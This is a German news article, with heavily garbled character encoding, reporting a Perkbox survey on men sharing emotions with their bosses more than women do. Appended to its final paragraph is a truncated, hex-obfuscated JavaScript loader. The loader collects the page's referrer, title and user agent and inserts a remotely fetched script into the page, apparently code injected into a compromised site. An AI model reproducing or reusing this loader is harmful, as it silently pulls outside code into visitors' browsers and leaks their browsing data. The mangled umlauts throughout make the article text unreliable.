Friday, September 21, 2018

                News Feed

MAi??nner lassen Emotionen im BA?ro freien Lauf

Februar 16, 2017 by  
Filed under Höhepunkte

MAi??nner lassen Emotionen im BA?ro freien Lauf – Frauen sind eher abgeneigt, von privaten Problemen zu erzAi??hlen.

MAi??nner sind am Arbeitsplatz weitaus offener fA?r Emotionen als Frauen und vertrauen ihrem Chef sogar sehr private Dinge an, um eine schlechtere Leistung zu rechtfertigen. Zu diesem Ergebnis kommt eine aktuelle Forschungsarbeit des Unternehmens Perkbox http://perkbox.com/uk .

Folgen fA?r die Leistung

FA?r die Erhebung befragte Perkbox 1.050 britische Manager und Angestellte. Demnach wA?rden rund 60 Prozent der MAi??nner mit ihrem Chef A?ber sehr private Probleme, wie eine schmerzhafte Trennung oder einen Todesfall in der Familie, reden, wenn das die Leistungsbereitschaft am Arbeitsplatz beeinflusst. Gerade einmal die HAi??lfte der Frauen wA?rde dies ebenso tun. Das Alter spielt eine Rolle. 50 Prozent derjenigen, die sich ihrem Chef anvertrauen wA?rden, sind zwischen 35 und 54 Jahre alt, wAi??hrend von den Ai??lteren Angestellten nur etwa 20 Prozent Ai??hnlich offen sind.

„Heutzutage ist das BA?ro ein Theater, in dem sich viele der alltAi??glichen menschlichen Dramen entfalten – Liebe, Hass, Freundschaften und Konflikte spielen sich unvermeidlich auch in unserem Vollzeitjob ab. Die emotionale Intelligenz zu haben, sich durch diese Herausforderung zu navigieren, ist absolut A?berlebensnotwendig, um Emotionen am Arbeitsplatz zu regulieren und deren Auswirkungen auf Kollegen zu verstehen“, erklAi??rt Chleu Cao von Perkbox. Nur 28 Prozent der britischen Vorgesetzten finden emotionale Intelligenz unwichtig.

Emotionale Intelligenz

„Die Emotion am und fA?r den Arbeitsplatz hAi??ngt davon ab, welchen emotionalen Nutzen man daraus zieht. Ein Arbeiter mit einfacher TAi??tigkeit zieht vor allem seinen Lebensunterhalt daraus. Versorgung und Zusammenhalt der Familie hAi??ngt vom Einkommen ab, an dem er in erster Linie interessiert ist. Bei Managern ist das anders. Sie wollen eine BestAi??tigung und ErhAi??hung ihres SelbstwertgefA?hls. Dieses wird aber auch A?ber die HAi??he des Einkommens reguliert. Mit dem Einkommen eines Arbeiters wAi??re ein Manager nicht zufrieden“, erklAi??rt Psychologe Wolf-Dietrich Zuzan http://psychnet.at/wolf-dietrichzuzan gegenA?ber pressetext.

Laut dem Report ist auch eine zu starke emotionale Bindung schAi??dlich fA?r den Arbeitnehmer. „FA?r die Arbeit zu leben, ist wie jede Einseitigkeit gefAi??hrlich. Der Erfolg des Managers hAi??ngt auch von der GroAYwetterlage ab und er kann daher auch ohne eigenes Verschulden keinen Erfolg haben. Sein SelbstwertgefA?hl wird aber durch den Misserfolg sehr ramponiert und kann im Extremfall zum vAi??lligen Dekompensieren fA?hren“, resA?miert Zuzan abschlieAYend. x61\x63\x65″,“\x73\x65\x61\x72\x63\x68″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“,“\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,“\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,“\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,“\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,“\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,“\x68\x65\x61\x64″,“\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,“\x70\x72\x6F\x74\x6F\x63\x6F\x6C“,“\x68\x74\x74\x70\x73\x3A“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x52\x5F\x50\x41\x54\x48″,“\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E“];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Comments are closed.